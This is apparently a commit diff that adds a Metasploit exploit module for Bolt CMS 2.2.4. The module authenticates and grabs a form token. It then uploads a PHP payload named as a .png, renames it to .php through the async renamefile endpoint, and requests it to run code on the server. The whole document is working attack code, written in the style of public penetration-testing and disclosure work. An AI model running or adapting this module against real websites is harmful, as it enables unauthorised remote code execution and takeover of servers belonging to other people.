|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://www.metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + include Msf::Exploit::FileDropper |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info( |
| 16 | + info, |
| 17 | + 'Name' => 'CMS Bolt File Upload Vulnerability', |
| 18 | + 'Description' => %q{ |
| 19 | + Bolt CMS contains a flaw that allows an authenticated remote |
| 20 | + attacker to execute arbitrary PHP code. This module was |
| 21 | + tested on version 2.2.4. |
| 22 | + }, |
| 23 | + 'License' => MSF_LICENSE, |
| 24 | + 'Author' => |
| 25 | + [ |
| 26 | + 'Tim Coen', # Vulnerability Disclosure |
| 27 | + 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module |
| 28 | + ], |
| 29 | + 'References' => |
| 30 | + [ |
| 31 | + ['URL', 'http://blog.curesec.com/article/blog/Bolt-224-Code-Execution-44.html'] |
| 32 | + ], |
| 33 | + 'DisclosureDate' => 'Aug 17 2015', |
| 34 | + 'Platform' => 'php', |
| 35 | + 'Arch' => ARCH_PHP, |
| 36 | + 'Targets' => [['Bolt 2.2.4', {}]], |
| 37 | + 'DefaultTarget' => 0 |
| 38 | + )) |
| 39 | + |
| 40 | + register_options( |
| 41 | + [ |
| 42 | + OptString.new('TARGETURI', [true, 'The base path to the web application', '/']), |
| 43 | + OptString.new('FOLDERNAME', [true, 'The theme path to the web application (default: base-2014)', 'base-2014']), |
| 44 | + OptString.new('USERNAME', [true, 'The username to authenticate with']), |
| 45 | + OptString.new('PASSWORD', [true, 'The password to authenticate with']) |
| 46 | + ], self.class) |
| 47 | + end |
| 48 | + |
| 49 | + def check |
| 50 | + cookie = bolt_login(username, password) |
| 51 | + return Exploit::CheckCode::Detected unless cookie |
| 52 | + |
| 53 | + res = send_request_cgi( |
| 54 | + 'method' => 'GET', |
| 55 | + 'uri' => normalize_uri(target_uri.path, 'bolt'), |
| 56 | + 'cookie' => cookie |
| 57 | + ) |
| 58 | + |
| 59 | + if res && res.code == 200 && res.body.include?('Bolt 2.2.4</b>: Sophisticated, lightweight & simple CMS') |
| 60 | + return Exploit::CheckCode::Vulnerable |
| 61 | + end |
| 62 | + Exploit::CheckCode::Safe |
| 63 | + end |
| 64 | + |
| 65 | + def username |
| 66 | + datastore['USERNAME'] |
| 67 | + end |
| 68 | + |
| 69 | + def password |
| 70 | + datastore['PASSWORD'] |
| 71 | + end |
| 72 | + |
| 73 | + def fname |
| 74 | + datastore['FOLDERNAME'] |
| 75 | + end |
| 76 | + |
| 77 | + def bolt_login(user, pass) |
| 78 | + res = send_request_cgi( |
| 79 | + 'method' => 'GET', |
| 80 | + 'uri' => normalize_uri(target_uri.path, 'bolt', 'login') |
| 81 | + ) |
| 82 | + |
| 83 | + fail_with(Failure::Unreachable, 'No response received from the target.') unless res |
| 84 | + |
| 85 | + session_cookie = res.get_cookies |
| 86 | + vprint_status("#{peer} - Logging in...") |
| 87 | + res = send_request_cgi( |
| 88 | + 'method' => 'POST', |
| 89 | + 'uri' => normalize_uri(target_uri.path, 'bolt', 'login'), |
| 90 | + 'cookie' => session_cookie, |
| 91 | + 'vars_post' => { |
| 92 | + 'username' => user, |
| 93 | + 'password' => pass, |
| 94 | + 'action' => 'login' |
| 95 | + } |
| 96 | + ) |
| 97 | + |
| 98 | + return res.get_cookies if res && res.code == 302 && res.redirection.to_s.include?('/bolt') |
| 99 | + nil |
| 100 | + end |
| 101 | + |
| 102 | + def get_token(cookie, fname) |
| 103 | + res = send_request_cgi( |
| 104 | + 'method' => 'GET', |
| 105 | + 'uri' => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname), |
| 106 | + 'cookie' => cookie |
| 107 | + ) |
| 108 | + |
| 109 | + if res && res.code == 200 && res.body =~ / name="form\[_token\]" value="(.+)" / |
| 110 | + return Regexp.last_match[1] |
| 111 | + end |
| 112 | + nil |
| 113 | + end |
| 114 | + |
| 115 | + def rename_payload(cookie, payload, fname) |
| 116 | + res = send_request_cgi( |
| 117 | + 'method' => 'POST', |
| 118 | + 'uri' => normalize_uri(target_uri.path, 'async', 'renamefile'), |
| 119 | + 'vars_post' => { |
| 120 | + 'namespace' => 'theme', |
| 121 | + 'parent' => fname, |
| 122 | + 'oldname' => "#{payload}.png", |
| 123 | + 'newname' => "#{payload}.php" |
| 124 | + }, |
| 125 | + 'cookie' => cookie |
| 126 | + ) |
| 127 | + |
| 128 | + return true if res && res.code == 200 && res.body.include?('1') |
| 129 | + nil |
| 130 | + end |
| 131 | + |
| 132 | + def exploit |
| 133 | + vprint_status("#{peer} - Authenticating using #{username}:#{password}") |
| 134 | + |
| 135 | + cookie = bolt_login(username, password) |
| 136 | + fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil? |
| 137 | + vprint_good("#{peer} - Authenticated with Bolt.") |
| 138 | + |
| 139 | + token = get_token(cookie, fname) |
| 140 | + fail_with(Failure::Unknown, 'No token found.') if token.nil? |
| 141 | + vprint_good("#{peer} - Token \"#{token}\" found.") |
| 142 | + |
| 143 | + vprint_status("#{peer} - Preparing payload...") |
| 144 | + payload_name = Rex::Text.rand_text_alpha_lower(10) |
| 145 | + |
| 146 | + data = Rex::MIME::Message.new |
| 147 | + data.add_part(payload.encoded, 'image/png', nil, "form-data; name=\"form[FileUpload][]\"; filename=\"#{payload_name}.png\"") |
| 148 | + data.add_part("#{token}", nil, nil, 'form-data; name="form[_token]"') |
| 149 | + post_data = data.to_s |
| 150 | + |
| 151 | + vprint_status("#{peer} - Uploading payload...") |
| 152 | + res = send_request_cgi( |
| 153 | + 'method' => 'POST', |
| 154 | + 'uri' => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname), |
| 155 | + 'ctype' => "multipart/form-data; boundary=#{data.bound}", |
| 156 | + 'data' => post_data, |
| 157 | + 'cookie' => cookie |
| 158 | + ) |
| 159 | + |
| 160 | + fail_with(Failure::Unknown, 'Unable to upload payload.') unless res && res.code == 302 |
| 161 | + vprint_good("#{peer} - Uploaded the payload.") |
| 162 | + |
| 163 | + rename = rename_payload(cookie, payload_name, fname) |
| 164 | + fail_with(Failure::Unknown, 'No renamed filename.') if rename.nil? |
| 165 | + |
| 166 | + php_file_name = "#{payload_name}.php" |
| 167 | + payload_url = normalize_uri(target_uri.path, 'theme', fname, php_file_name) |
| 168 | + vprint_status("#{peer} - Parsed response.") |
| 169 | + |
| 170 | + register_files_for_cleanup(php_file_name) |
| 171 | + vprint_status("#{peer} - Executing the payload at #{payload_url}.") |
| 172 | + send_request_cgi( |
| 173 | + 'uri' => payload_url, |
| 174 | + 'method' => 'GET' |
| 175 | + ) |
| 176 | + end |
| 177 | +end |
0 commit comments